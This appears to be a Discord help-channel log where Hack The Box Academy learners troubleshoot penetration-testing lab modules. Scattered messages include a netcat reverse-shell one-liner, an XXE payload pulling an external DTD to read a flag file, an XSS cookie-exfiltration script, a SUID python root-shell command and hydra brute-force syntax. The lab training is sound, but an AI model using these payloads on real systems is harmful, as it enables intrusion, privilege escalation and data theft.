#modules
1 messages ยท Page 327 of 1
the wrapping of the results of ffuf depends on the size of the terminal, e.g., the progress
hello
Hello guys, in the Server SIde Attacks - SKills Assessment we are provided with a username and password ... Has anyone used an approach involving those credentials to get the flag ? Because I already got the flag with 2 approaches so I wonder if there's a third one I haven't thought of
Ffuf doesn't like being less than fullscreen
fullscreen or maximized?
i don't recall that issue maximized or when it's a smaller window but i don't usually use a smaller window
Ffuf does weird stuff on smaller windows
For me that only happens on the parrot terminal
yeah i use kali and haven't seen that, but maverick is also using kali
sorry why I can't access the general?
Hello everyone, I've been working on the "Injection Attacks" skills assessment. I managed to discover the initial vulnerability but can't find the internal web application (even though I discovered an IP address). Any nudges are appreciated.
hey guys
quick question
for module password attack under Pass the Ticket (PtT) from Linux
I having been trying to login to the shares using smbclient but its return error
Sometimes this one is tricky on vms, did you try connecting via netcat
It helps to state what error
yes
and i am not getting any banner nor answer
Use pwnbox
For some reason that one is dumb for vms
ok, thanks
@stable sparrow have u tried udp?
You mean the scan type?
-sU ๐ฎ
Deleting bc spoiler post anyway
yes
same result
I am effectively getting a version but nothing like a flag or so
So you've done -sUV ?
i did -sV and -sU
Same thing
thats what i did
alr then yes
A lot of the s[Y] commands can be combined
good to know, as a oneliner unreadable programmer
i will try on a pwnbox
Make sure to turn off your vpn first
what version tho?
there is only one version
|| NLnet Labs NSD ||
It shows up as a name instead of the HTB{..} IIRC
which seems like the real version of the server
but i have reserves about this being the expected flag
It's not
i cant even get a version ๐ญ
The expected value is HTB{..}
just says filtered on tcp
it effectively worked on the pwnbox on the first try with the most brain dead nmap command
the course shows a way to short cut this issue
should i report it or is it a well known issue ?
maybe your scan was too fast, like T5 or high min-rate
It's a known issue but you can still post in #1234357888114364508
I've had it run the same exact scans and do the same thing, pwnbox work mine didn't
Copy/paste
weird
It's just a thing that happens for some dumb reason
i did man, no difference, but thank you issue resolved
Hm I'm having an issue with XSS / Session Hijacking .. it downloads my script.js but it doesn't seem to get executed ๐ค
Yeah I guess, but the same result in my case means that it doesn't work either ๐ ..looking at the solution, it says it should work. Maybe it's broken somehow. (or maybe the solution under "show solution" is outdated)
Hmm you mean in the XSS payload in the input field? If so, yes. ๐ I get the request for script.js in the php access log output;
[Sat Sep 14 16:02:28 2024] 10.129.98.209:36192 [200]: GET /script.js
... But then nothing more ๐ฆ And script.js contains new Image().src='http://<ip>:<port>/[...]; .. but I don't get that request for some reason
Your script needs to call your own hosted php page
Hi, I'm stuck on https://academy.hackthebox.com/module/116/section/1165 as I'm unable to find the port for ftp.
I only get 4 ports which none of them are ftp
-p-
I've tried that
Also sometimes you need to respawn a box a few times to get it to show
For w/e reason it doesn't always load
I'll try that now
yes, I have started php -S 0.0.0.0:8080 on my instance.. this is where I direct it with the XSS to get script.js.. And it gets it. And script.js does a new Image() with source to the same ip:port on my instance again, but this is the one that doesn't come
u might have to restart the machine a few times
Are you calling the index.php?
worked on the third reset
yeah that machine is laggy
dm a screen shot of the payload
lit
yes, but TLattics spotted my error, I had a script tag that wasn't properly closed ๐
Oof
Fuck rude people
I'd rather not
Section: SIEM Visualization Example 2: Failed Logon Attempts (Disabled Users)
Module: Security Monitoring & SIEM Fundamentals
Can't seem to find where the document would be
Why cant I verify from my phone?
Make sure you are using the latest app. This should make it possible to verify your user
Hi , I have been stuck about one module "Advanced XSS and CSRF Exploitation " "XSS Filter Bypasses", Where Can I ask it the question? Please give me the recommendation, thank you.
in this channel
thank you!
In the lab end, I see the content:
Note: Due to the way the admin user accesses the page, please make sure not to use any port in URLs in your payload, i.e., use http://exfiltrate.htb/ instead of http://exfiltrate.htb:PORT/.
about this sentence, I don't understand it because when configure vhost like example below:
I add file hosts like below:
94.237.59.199 vulnerablesite.htb exploitserver.htb exfiltrate.htb
then I only can access with http://exfiltrate.htb:PORT/log
so How can I access http://exfiltrate.htb/log to see the victim page?
use the port
its talking about dont include the port in your payload to the victim, not you navigating to it yourself
you should delete that script
all it says is don't use the port in the payload. obviously you still need to use the port in your own browser to view the log.
my question is payload will use port 80 when submit to victim but viewing the log is we are using using another port so How to see log when two ports are different?this is not very logical
if i submit payload to port 80 then i also have to view log at port 80.
but actually i still can't access http://exfiltrate.htb/log
I'm not entirely sure, but I think it's because of the way the lab is set up (Docker) Inside the container, the servers run on port 80, but you can only access the container from โoutsideโ and are therefore dependent on port mapping.
While the internal process can access port 80 directly, you can only access port 80 internally from the outside via port forwarding.
thanks for good comment, I am not thinking about this situation.
I guess it is something like this
docker run -p 12345:80 httpd
I think so
when it comes to the student program am i charged at the start of every month or a month after subscribing?
Hi , I tried so many time, not using Port like the topic requries but don't get any the request from victims, If anyone passed please recommend for this lab Advanced XSS and CSRF Exploitation " "XSS Filter Bypasses".
probably your payload then
the section is about bypassing filters, so you have to try the ways it teaches till you get a bypass
Getting Started --> Knowledge Check
https://academy.hackthebox.com/module/77/section/859
I ran ./LinEnum.sh , what am I supposed to obtain from the output? Where do I find the vulnerable file(s)?
I've tried google, but I don't understand how people are explaining it
Hello
Hello
I've been studying on the platform for a while but from time to time I see how some command syntax with the paragraphs look a bit very stuck and they tend to confuse if they could fix that little detail so that the command looks clearly well or a success.
You can always give feedback via, /feedback or if itโs an error in #1234357888114364508
but yeah, if anyone could please explain to me how to interpret the suid files(?) to escalate privilege, i'd really appreciate ๐ค
aa tysm!! this looks super helpful ๐ค i'll update if i understand or not
kerberos attacks - unconstrained delegation on users
./dnstool.py -u "inlanefreight.local\callum.dixon" -p "[redacted]" -r "gatari.inlanefreight.local" -d "10.10.14.2" --action add "10.129.205.35"
first time running shows that it was successful, but trying to validate with by running nslookup against the DC (10.129.205.35) shows that there are no records for gatari.inlanefreight.local
- DC is able to resolve itself (
dc01.inlanefreight.local) - Trying to add the DNS record again says that the record already exists, so I'm assuming it works
anyone know what's causing this issue? my assumption is caching, but I've waited 5 minutes and there's no change 
edit: 10 mins later, the DNS cache updated and it works now~
So i understood up until the python -c command. what am I supposed to be researching right after that?
that's it. if python has the suid bit set then you can run that command to gain root. just like it says.
you can look at the gtfobins link i sent you to see common apps that can be abused if you have the suid bit set on them.
where would i put the id in
python -c โimport os; os.execl(โ/bin/shโ, โshโ, โ-pโ)โ
?
or do i just straight up run that cmd
the id is to verify that you escalated your privileges
like i said.. if python has the suid bit set then you run that command to get root. another program will have a different command.
that's literally it.
the suid bit allows you to run an executable as the file owner
so if root owns python, you can use that to run a python command as root
that python command just spawns a bash shell
sorry, sorry ๐ญ i'm not very good at this yet, which one is the suid bit set in the output?
and since you have the suid bit set, it runs as root the owner of python
look at the link i gave you it shows you exactly which one
"how to detect suid and gui for privilege escalation"
so on the box, you need to run the command that finds executables with the suid bit set, then abuse that executable
ohh, i see now, thank you! ๐ค
i'll try that
this sort of output?
For the knowledge check you don't need suid btw
Just check what the usr can sudo
yeah those are executables with the suid bit set, you can see the 's'
just because it's set doesn't mean it's abusable, that's when you use the other link i gave you the gtfobins link, that will show you how to abuse an executable to escalate privileges
LinEnum spits out a bunch of unnecessary stuff for new people
yeah that's for sure. i always start with sudo -l
The answer is way simpler than suid abuse
alr cool! how can i do that? my brain is dead tonight, it's probably smth i already know, i'm just not remembering ๐ญ
.
beautiful
Use gtfobins to figure out what you can do
i read that first part and thought you were telling me to gtfo ๐ญ will look into what that cmd does
yeah i found the website 20 sec after i said that ๐ญ i'm not sure what to look for though, i searched sudo and it's not helpful
Maybe the bin you can use with sudo
๐
Sudo isn't gonna be helpful on that site bc that's generally just a category for the listed program/bin
sudo /bin/sh?
That's not the binary you can use with sudo
look at the output of sudo -l and you'll figure it out
You had it earlier btw
Your message was removed bc spoiler
I want to learn python..!!
that's a good one, i'd start with python crash course a hands-on project based introduction to programming if you're just starting out
He also has a book of projects that aren't guided
that's cool. they're both great books. i'm trying to get into c/c++ now too, there's just too much to learn and so little time.
i ran audi (the output) and it didnโt work
Wtf is audi
What I meant by that is the output of sudo -l will tell you what to look for in gtfobins
hey everyone
i tried do a reverse shell on the binary exploit capcom, but i can't see how to compile the cpp file it says to use cl.exe but it's not available on the remote machine do i need to import it? https://academy.hackthebox.com/module/67/section/605
cl.exe is from visual studio, just use the other tools in the section
I've already found the flag but I wanted to try a reverse shell so it's not possible :/
Information Gathering Web Edition - skills assessment.
Need a hand on the last two questions (the first three are done). I try different tools to try and crawl for e-mail address, also enumerate for any interesting files and folders (to find the answer for the last question), but the last two questions confuses me. don't want to put spoilers here, if not needed. What info would anyone want me to post, in order to get some guidance? (ie running finalrecon jjust throws errors). I have tried both with the parrot pwnbox, and with vpn from my kali.
Try to enumerate the website further. Try all approaches that were taught, don't be fixated on a single tool
its simple, but a lot of us overlooked it.
<@&861185840277487616>
Ok, I found one sub and one 'non default' folder (which gave me the answer to question three), you mean I have missed something besides those?
Thanks ๐
precisely! perhaps try further enumeration on that sub?
np brother
Who can I contact for help with SA 1 on the Introduction to Windows Evasion Techniques module?
Ok, now I ran various tools with various wordlists on that sub (the only sub I found while enumerating with large word lists) and I cannot find anything useful. So, I'll have to skip the last two questions and move on. Notice that it appears to be somewhat unstable also. Suddently no connection. Well,thanks for trying to push me in the right direction anyways.
A subdomain might also have subdomains
Module=File inclusion
-----Section= Log poisoning
I have executed commands like id, ls /, everyone of them works, but when reading the flag file (gibberishcharachter.txt) through 'cat' command, it shows empty, any idea!?
Oooo i forgot (/) before flag name ๐ฌ๐ฌ๐ฌ
That is sooo true, thanks, totally overlooked that...
Hiii
A car
no worries
are you, uh, missing any encoding? cat+/flag.txt or cat%20/flag.txt ?
oh nvm
Still, thanks
Need some help on Injection Attacks > XPath - Blind Exploitation. I tried to exfiltrate the entire XML schema but couldn't getting anything other than
<accounts>
<acc>
<username>username</username>
<password>password</password>
</acc>
<acc>
<username>username</username>
<password>password</password>
</acc>
</accounts>
Not sure what did i miss.
Wait. I'm an idiot. I did it wrong..
If you can't get the entire xml file then use other ways.
blind exploits, are we looking at XSLT or XXE? Or something else?
show us your complete POC with DTD if XXE
err wait that might not be allowed
It's the Injection Attacks > XPath - Blind Exploitation module
i dont think i have access to that
still open to try and help but i think we need some more info, without spoiling of course
@olive slate ^
oh nvm this is xpath ill be no help here
you can DM if you still need help
Iโm having trouble with the admin page assessment in the brute-force module on HTB Academy.
Iโm using the following Hydra command:
hydra -l user -P /usr/share/seclists/Passwords/Default-Credentials/db2-betterdefaultpasslist.txt 83.136.255.40 -s 37527 http-post-form "/admin_login.php:user=^USER^&pass=^PASS^ :H=Authorization: Basic dXNlcjpwYXNzd29ycg== :F=<form name=log-in"
Although this command generates many credentials, none are valid. Iโm not looking for a solution, but could you provide a hint on what might be wrong? Your help would be greatly appreciated.
the website or the service login?
also i dont see the -t option in your hydra which might be causing you to get rate limited.
if i remember how it works correctly.
you might need to encapsulate your headers and any other directives in your command in quotes as well, this could be throwing off the processing of the entire cmd
Website admin login "http-post-form " one.
also consider, as a sanity check, modifying your cmd to use the alternative http-post-form directive like http-post-form://target.com/admin/login.php:... just to remove any chance your use of a bare ip without scheme is being misinterpreted.
i dont like hydra because of these things.
but i guess we're stuck with it
@bronze heron ^
Hey guys im stuck on the footprinting lab hard section of the footprinting module, when i do my scan i have this as result but i have no credentials, i treid different things to see if they are not other potential open ports by scanning from other source port, scanning more quitly but i found nothing any help?
you don't need to worry about the performance modes. Have you tried using all the available scan flags? (Forget about the service version, scripts, and aggressive scanning)
i guess yeah, i did -sS -sA -s -D and others
did the module teach about other protocol scans?
its ok i tried udp and found something the thing is that i never completed a udp scna bcs its took hours to be done
what are the -s and -D flags?
well you don't need to scan all top 1000 or even top 100 ports
always start small
when it comes to UDP
what do you suggest with small?
perhaps the first top 10 or 25? ports
your preference
Can someone help me understand why this simple php expect:// isnt working
http://94.237.53.18:40562/index.php?language=expect://id
on the BBH -> LFI -> PHP Wrappers Section:
https://academy.hackthebox.com/module/23/section/253
i've checked the php ini and expect is enabled
add the filter convert.base64-encode
oh right, thx
/me slaps forehead
wait, can you do that? i thought that was a diff filter?
is there a way to combine them? php://filter.../expect:// ?
or is it expect://filter ? sorry these php wrappers are new to me.
ill try both
no php://filter/read=convert.base64-encode/resource=expect://
and your order must be encoded in URL
oh i see i didnt realize you could ... string them along like that
me neither ahaha during the CPTS htb surprised me from module to module
well, the sad thing about modules is that sometimes they make you think with the elements they give you and I think that's pretty cool ahah
very true, just didnt like how this one played out ๐
I understand you ahah
can anyone help me pls
I connected htb academy account to discord but not given permissions for example I can't send images
Im doing Web attacks on HTBA, Advanced file disclosure section.
I am hosting xxe.dtd file on web server.
My XXE payload is following:
||<!DOCTYPE email [ <!ENTITY % begin "<![CDATA["> <!ENTITY % file SYSTEM "file:///var/www/html/flag.php"> <!ENTITY % end "]]>"> <!ENTITY % xxe SYSTEM "http://10.10.XX.XX:8000/xxe.dtd"> %xxe; ]>||
Im intercepting payload, and pointing to &joined; as its said in module.
I am getting 200 OK response but not content of file. File is accesses from vulnerable web app. Any idea what I am doing wrong?
SOLVED: File path was wrong
Have a look in #welcome
It explains how to link the account.
is this the correct syntax to use Snaffler on a non-domain joined machine .\Snaffler.exe -s -o console ?
i could only find how to use it against a domain, but in the windows priv esc module they mention it for non domained joined machines too, but I cannot figure the syntax, it just hangs
nvm found it on github
i have enough cube but module is not unlock when i click on unlock please help me
Deactivate all ad blockers and try again
hey guys quick question about pop3 and imap and their secured version, if i can connect to 1 of those the mails on the pop3 server will be the same then those on the pop3s server or is it possible that 1 have more messages?
using pop and imap (edit: simultaneously, on the same email host) is not very common. or are you talking about connecting to pop3 to download mail then reconnecting to pop3s ?
i don't think you will find both of them , and they are they same is just like http and https
yes like if on pop3 there is 10 messages, will there be the same amount (10) if i connect on the pop3s?
to check for more mail*?
yes like mybe there will be an ssh key on the pop3s but not on the pop3 is that possible?
but each will be service at his own
ow oke and can you help me with something im a little bit stuck rn
https://academy.hackthebox.com/module/67/section/626 the flag it's available on desktop sarah without by pass UAC it's normal ?
no pop3s uses STARTTLS to secure the connection. Ssh'ing to a machine to connect to your pop3(s) server would be... on your end
so i found the community string of the snmp server and found some credentials for connecting to the mail servers, i found there an ssh key for tom and im know in but im stuck i have to find the user htb and his pass probably in a db but there is no db when i scan the target
its the same end result (pop3/pop3s) one is encrypted in communications the other is not
ow okej just asking mybe i missed something
oh i see you're working on lateral movement. have you checked uh whats it called... sudo users?
sudoers*
no im on footprinting rn ^^
you're ssh'd in as whats his name tho right?
can it also be run on udp?
perhaps its not even exposed to the internet?
the ssh is for the user tom
ss -elp or whatever it is, does this work on remote connections?
it does, I tried it
see any recognizable ports?
so its a login for a service and not for the box?
3306 mysql
the htb account
oh yeah havent think about it
try interacting with it
we see a 33060 too, that looks interesting.
ikr, I was just as curious about it
tbh i never learned how interacting with local db's ^^
i tried this but its not working
man mysql
refer to the mysql section
its really simple
or this. the better approach
again, it's not exposed to the network
its running locally and you should delete those screenshots
they are spoilers
okej im gonna try to find how to interact with it locally if im stuck im comming back ^^ thanks for you help
no worries
try to use local ip
hey! i want to find something i found on bloodhound using powerview..
here's the scenario (names are fictional):
I got an ntlm hash for the user bob.
i found out that bob was in the "Network and Server Admins" domain group with this command:
Get-DomainUser -Identity bob
Using bloodhound, I easily found out that members of the "Network and Server Admins" group have local admin privileges on a machine called PWN03. Because of that, I was able to connect to PWN03 with psexec.py using bob's ntml hash.
What powerview command can i use to tell me that members of "Network and Server Admins" have local admin privileges on the PWN03 machine WITHOUT logging in as bob. Bloodhound found that info without being logged on as bob.
i'm in lets see
Hi. I'm working through the module with gobuster, where the goal is to brute force virtual hosts on a target system (inlanefreight.htb). First, I assigned the IP in the "hosts" file via the following command: sudo sh -c "echo '94.237.59.63 inlanefreight.htb' >> /etc/hosts" I pinged "inlanefreight.htb" and it's reachable. Second, I typed the following: gobuster vhost -u http://inlanefreight.htb:37340 -w /home/laptop/SecLists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain But I keep on receiving two errors: "Wordlist (-w): must be specified ( use '-w'- for stdin)" and "Url/Domain (-u): Must be specified)" I've checked the solution and this should work. Any suggestions? Thanks in advance
You haven't pinged your website. You have pinged some machine.
A docker container is only available via the port provided.
Have you copied the command?
The - may be incorrect. Write the command by hand without copying it.
@sacred jacinth @limber river pwned ^^ that was a tricky one thanks for you help guys ๐
Thanks for clarifying. Yes- I typed by hand
Does anyone have insight on how to statically link the correct version of GLIBC so I can complete the sudo 0-day section in linux priv esc section, since there is no reference of how to do that in the lab materials?
pls help I guys I can't solve :Skills Assessment - File Upload Attacks
can anyone help me
In the Attacking Web - Final Assesment I cant cat the file:
I enumerated admin, reset his password, logged in, found XXE in event page, but I cant output file for the fk sake. My payload is:
||```<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE name [
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">
]>
<root>
<name>&company;</name>
<details>test</details>
<date>2024-12-22</date>
</root>
I tried both ||`/flag.php`|| AND ||`flag.php`||
what u stuck on?
you tried retriving /etc/passwd file ???
i think u forgot to put read= before convert base64
thing was that I didnt need|| <?xml version="1.0" encoding="UTF-8"?>|| for some reason
I solved that in the end
How do I tell if the Linux host I'm on is joined to Active Directory?
Is the OpenVAS skill assessment working for anyone else?
I can't seem to access the portal nor does the target machine have any gvm-start command.
realm list
Thanks, I was struggling to find the commands in my notes. Gotta better organize it.
can someone help me out with command injection skill assesment?
Hello, Can anyone help me with "Web Service & API Attacks > Information Disclosure (with a twist of SQLi) > Identify the username of the user that has a position of 736373 through SQLi" ? I tried :
||ffuf -w "/usr/share/seclists/Fuzzing/6-digits-000000-999999.txt" -u "http://:3003$TARGET/?id=FUZZ" -fs 2||
but any id with the position of 736373 appears. Any tips ?
what have u done
rdp
do a ping on the host and let that run for some time and see if there's some packets are dropping
also to make very sure if your "network" setup or the third party router is not causing any issue, i'd say try sharing your cellular data and re-do your connection
it just hit 1.4k then dropped to 448
i am using a third party router cause my normal isp doesnt want me to do an home ip change when they claiemd my router was dynamic
so i had no choice but to use a third party so i can prevent ddos attacks on a game im ip db breached on
it's averaging 80ms
try connecting from somewhere else to make sure 100%, if you cant use PWNBOX to confirm if its an actuall issue, because its very unlickly that its an xfreerdp problem, if its does then contact the support 10% the chance could be the lab being unstable
it might be the vpn config maybe
yeah that might be causing the issue, as it actually a proxy
i put it on the lowest ms and recommended one for ovpn
and it's still doing some issues
i dont think its openvpn problem neither i start to geuss its your WAN setup
ah
again to confirm this use pwnbox
yeah i'll use pwnbox instead thern
what the heck my ip died on htb i had like 100mins left
@lusty hare even on pwnbox
restart the machine
yeah reset the machine and if its not working 100% contact the support maybe the machine is not stable
yeah cause i've been trying the entire day to do this one question
yeah, the machine might just be slow
like it's not even that hard too
ik where to exactly go for this answer i just cant even get the damn exe name at this rate
Can someone help? im getting this error while doing the sudo 0-day section in linux priv esc:
./sudo-hax-me-a-sandwich: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./sudo-hax-me-a-sandwich) . I have read you have to statically link in the Makefile but I do not see any examples on how to do that.
Add a dash between
thankyouu
I didn't use this one for the privesc
Also the target has at least gcc installed
Idk about any other compiling tools
target has 2.31
please don't post spoilers for modules above Tier 0
oh okay...thanks ... I will do that, which will finish up that labs.
Is that module > t0?
Huh
Some staff member please fix the xfreerdp machines, on pwnbox also. It's not working I cannot do 1 god damn question on hackthebox
i wasted my entire day not being able to do 1 question that'll take less than a minuyte to do
have you tried remmina?
yes and it done the same thing to me
i dont know what to do pwnbox was fine yesterdayu
and xfreerdp was fine at a point and now it's just breaking everyutime
i've reset the machines like 20 times
does the module give you those creds?
yes
Reach out to website support instead of discord dude
Support doesn't monitor the discord
i'd also explain your internet connection setup since it's a bit unordinary
TP-Link plug downstairs plugged into my router, then an ethernet cable is connected to my third party router.
The TP-Link plug recives the connection from the 2nd plug upstairs to where my setup is, the upstairs ethernet is plugged into the 2nd TP-Link plug and towards my computer
so i can be wired from downstairs, i do not have a wireless connection capability on my pc
and im on a vpn with mullvad
Shouldn't matter for the pwnbox
yeah exactly
Since that's through the browser
it's working like a normal internet
oh right you're using pwnbox
My only suggestion is changing vpn regions
im on the vpn region for my country and im on the lowest ms for the pwnbox also
protocol tcp 443
yes but shouldnt that not matter though if im using the lowest ms with the pwnbox?
Vpn region also affects target spawns
okay switching to the 2nd fastes region
yes i know
there was another one with it being lower than the ms i was using
for pwnbox
I'm talking about us/EU academy x vpn region
Those don't display any ms/info
Aside from load
No
Yes
Just any one
okay
same stuff
i figured something with my internet speed, i have that third party router, my devices are routed to 5G networking instead of 2.4, every device is being given atleast 270mbps where as my pc is only recieving 60mbps
no idea how to route my pc to 5g networking on the router
If it's pwnbox it won't generally matter
Considering it's the pwnbox connection to the target
Reach out to support
Also a good practice is to keep a single connection to the VPN, e.g., if you have the VPN running in a local VM and then decide to use the workstation (pwnbox) you must disconnect from the VPN on the local VM
do you mind if i dm you with a quick question using SAMLRaider in that exercise?
why is ssrf so low rated?
Try not to post potential spoilers
Wrapping code in a code block like so ``` makes life easier to help, and it's gone.
how can i
how do i prevent my kali linux doing this everytime
Just the first and last few characters can help others determine if something looks right or not
reboot
yes ik
Also idk if the module taught you about $IFS yet
yes I read it
The graphics thing is a nonissue
but it does this everytime i boot
yeah ik but i hate how it comes up everytime
Use that instead of %09
i rather just like not have this issue at all
${IFS}
I used but not worked
Virtualbox yeah?
yep
Also with your echo command that you're passing to base64 to encode, use -n
Putting behind spoiler commands does nothing
I don't recall too many issues with this section
thanks but I don't understand )
Ok
Getting Started --> Knowledge Check
https://academy.hackthebox.com/module/77/section/859
I couldn't figure it out yesterday, so I'm trying again today. When i run the file that can be executed without root permissions, I'm unable to escalate privilege. Could someone please guide me through why I'm doing this wrong? I think my error lies somewhere within these steps:
REVERSE SHELL
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.27 4444 >/tmp/f' | tee -a template.php
BOX TERMINAL
nc -lvnp 4444
REVERSE SHELL
sudo php
echo -n "<the command they want you to obfuscate>" then make sure in the here part you wrap the decoding part $() so it's <<<$(base64...<<<...IDE=)
This contains spoilers dude
Also sudo <command you can sudo>
Also it's not executed without root perms, you want to execute it with root perms
You can't just run sudo <command> gtfo bins gives you steps
mb mb i just didn't know if it would be too little info if i didn't include everything
You included what the user can sudo
i don't understand how to get the steps from gtfobins
<@&861185840277487616>
Hi guys, I'm having a lot of issues in trying to solve the latest lab of Password Attacks - Hard.
I'm basically at the end, mounted the drive, got the hash. For a while I wanted to try decrypting them then after a few tries I've realized the smartest choice might be to simply PtH. However, there's no way to let it work because every option WinRM / SMB / RDP / Invoke-TheHash tells me that the hash is incorrect.
At this point, I've come to understand that maybe the issue is due to a corrupted mounting of the drive...because I ca'n't think of anything else. Did anyone fell into this ? How did you get out?
thanks I got it
You can xfreerdp with the hash
the previous box, nibbles, was just
sudo monitor.sh
iirc
Though you may need to disable restricted admin
Yes but you modified monitor.sh
You can't modify the binary here
so i need to modify php or no
Gtfobins has the solution
No. You literally can't
Search for that command
i get that, but i don't know how to use gtfobins to get the info i need, i'm not familiar with it yet
Dude
for sudo?
For fucks sake
You just type the name of the command you can use with sudo
I.e. openssl
It's that simple
there's no need for that, i'm trying. this is new to me
ok
Considering I've had to repeat myself on this, it's frustrating
Blank nmap scan report for the "Web Server Pivoting with Rpivot" section of the Pivoting and Port Forwarding module. What am I doing wrong here?
Try actually uploading an image instead of a random file
i dont understand, that's why i'm asking for it to be explained differently. i don't understand what command to be searching, since it isn't sudo and i'm assuming not openssl since you used it as an example
Guys I've started the "Using web proxies" module and I've been trying to get the ZAP working for the past 5 hours, reading the guide again and again, starting new instances and I just can't get it to work. When I'm trying to open any website I just get a message "connection timed out". I have no idea what I'm doing wrong
... the command you're trying to use with sudo
sudo x
right but i have no idea what that command is supposed to be
Are you running the tool? I.e. burpsuite or zap?
... dude
It's the p..
That was the report generated with -OX but alright, here goes.
Yes @vagrant osprey
Notice nothing there โ non-standard port?
proxychains nmap -p80,443 -sCV -v -Pn -n --disable-arp-ping -T5 --max-retries=0 --open -oX - 172.16.5.0/23 | xsltproc -o pivoting-linuxpiv.html -
Not sure why that's returning nothing. Again, Rpivot section.
Anyone?
looks like you're trying way too much, why not just follow what the module does?
Adding additional ports to see if that makes a difference.
I tried, doesn't work. Precisely it tells me STATUS_LOGON_FAILURE. As ifthe hash is incorrect, I suppose. The point is, I've obtained this hashes from samrdump2 from the SAM / SYSTEM files contained in the vhd.
So at this point I'm literally lost
Did you try winrm
yea ๐ฆ
Because I don't know what IP address the web server lives on, so trying to use nmap to find it
yea yea, I've been using only NTLM, at the same time I also tried just a
winrm says Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
I assume it could be related to RestrictedLocalAdmin (?)
winrm -i ip -u administrator -H <NT HASH>
maybe try the one in the section
Ntlm hashes are presented as lm:nt
Did. Page just hangs indefinitely.
That only affects the rdp portion
then there's something wrong with the target or your pivot
doesn't tell me anything for the executable
they don't make this difficult, it's the IP in the section
i search for the T_W__.exe and it doesn't exist there for me
You need to do an investigation much like the section ahows
Still nothin though. Could it be related to the fact that somehow the mounting went wrong and partially corrupted the hashes ? (I don't know if it's a feasible option but I'm completely blank right now)
It's not gonna be directly in the 4624 event, you're gonna follow the trail to where the login leads
Maybe? Idk
Oh that makes much more sense give me a second
Just to be clear the hash you're trying to provide isn't a:b yeah?
nope, it's just -H b
Gimme a quick moment
Did you try cracking the hash with the mutated list?
:)
The hash still being that b portion
Yea, to be precise I've tried to crack it and I assumed it simply wasn't crackable because both john and hashcat didn't recognize it
sooooo, I suppose I messed up with the -m option
1000 should work if you just supply it with the b portion
I keep the example hashes page on standby just in case
alright, I'm receiving an error on Token Length Exception on the lists I provide.
Gonna google that, my brain assumed the error was talking about the hashes, not about the lists lol
Well it is talking about the hashes
The hashes aren't in a format that hashcat likes
Hashfile 'mut_password.list' on line 94041 (yellow99): Token length exception
But the error seems to refer to the list, isn't it
Wait what's your syntax?
hashcat -m 1000 mut_password.list adm_ntlmhash.txt
Flip the ordering of wordlist and hashfile
Oh, now it's loaded. Was just extremely slow, for whatever reason
Eh moving through pivots is generally slow
alright, it got to work, and I'd harakiri for that 
Given that, I think I'm back on the rail, now I can give it a few more tries
Hashcat always expects the hash/file first then the wordlist
It shouldn't take long to crack tbqh
Hey, now you won't forget syntax :D
I hope! Or well, I definitely have to make more attention.
To me the most messy thing is that any given tool has his own goddamn syntax. That's soooooo messy, at least for me ๐
yea that indeed will come with experience
I can tell you I've had my fair share of forgetting -u (for commands needing a url) or forgetting to specify http://
having same issue in the smbclient / hydra / winrm circle
-U -l/-L -u
last thing, then I swear I won't piss you off anymore ๐
You said that it should be quick because you assumed that the mutated list from the Resource should be enough?
Hm, interesting
If you supplied it with multiple hashes it'll take longer but it should output whenever it cracks one
yea that's my main concern as well, but the SAM file had 7 users, both their hashes were all equal. So in the end, I end up with 14 hashes (7 LM, 7 NTLM) but they're just 2 unique hashes
I have no clue wth happened, I also tried to recompose the dump of SAM / SYSTEM with samrdump2, but nothing changed
you can also just use secretsdump.py to dump them
also
instead of specifying a user@target you just specify local after also telling it where the SAM/SYSTEM files are :)
no need for any samrdump or other tools
i believe you can also specify --just-ntlm or something like that
nvm that's for ntds files
my god. I've just noticed the problem. Apparently this samrdump2 I've found online was either badly extracting the hashes, or I've set it up in a wrong way.
Fact is, now I've extracted the hashes with secretsdump and the administrator hash differs from the one I previously had
let me make a couple of tries
big oof
.......
god had some evil plan for me this weekend
Thanks a lot @fathom pendant, the only way I could come out from this dead end was to redo everything unbiased from the beginning
your approach to the situation was valid though
so don't completely count yourself out
you found (what you assumed to be) the right hash; you attempted pth techniques, unsuccessfully, you then attempted to crack (what you assumed) were the right hashes to get a password
you had 0 way of knowing without attempting other tools that the hashes that the one tool gave you were incorrect
yea, indeed, this also sets some boundaries at the same time. Especially at the beginning it's better not to venture too far. I got baited away from the vhd mounting part which wasn't directly explained in the chapter. That led me into venturing away from the usual. I must also admit that I've tried impacket-secretsdump but I'm quite sure I messed up the command and given up to it. I definitely need to pay more attention to the commands
Hi Iโm new. I want to start learning cybersecurity from hack the box. I know Iโm in college for a different major, but right now I want to learn as most as I can.
What is modules for? Right now I am in the big bounty hunter track, but any pointers to get started learning?
I see this linked often:
https://www.hackthebox.com/blog/learn-to-hack-beginners-bible
Hi
which distro do you use ?
Hey guys dumb question but i have a lot of notes, do you think for like protocols and services its ussfull to make a how it works section?
or should my notes be short and comprhensive?
Can anyone give some help on the "windows lateral movement" module?
@topaz dagger which CTF?
Thanks Qolt I will be sure to check this out.
it's for Attacking Enterprise Networks, Pentest academy.
what do you mean by "how it works" section you mean a deep dive into the protocol itself?
AEN isn't really a ctf
it's an academy module
second it's heavily recommended to do it blind, meaning no reading the module aside from the 2 pages of overview then just launching the target and going for domain compromise
not really deep dive but like yeah how it works like how does dns works just the basic to know what each protocol does.my notes are getting bigger day by day im just asking my self how to manage it like just the tools and their options or yeah idk ^^
tbh that's completely up to you if you want to write a quick blurb of 'DNS resolves hostnames to ips' or do a deeper explanation is up to you
What is the best practice for the CBBH exam after finishing all the modules ?
Like are there certain machines or a list to practice ?
instead of posting a picture of the question, say the module and section and say what you're stuck on
Module: Security Monitoring & SIEM Fundamentals
Section: SIEM Visualization Example 2: Failed Logon Attempts (Disabled Users)
everythign else i've completed just this left couldnt seem to figure it out
Done but i would really love some help please
just I have no idea what im doing wrong, cant seem to find the document
DONE IT
now i understand what the hell i was supposed to do
Hi, Is SPL stands for splunk processing language or search processing language , I am little bit confused.
Im still stuck on here : Find all available DNS records for the "inlanefreight.htb" domain on the target name server and submit the flag found as a DNS record as the answer. - Attacking Common Services: Attacking DNS. I also used IP instead.
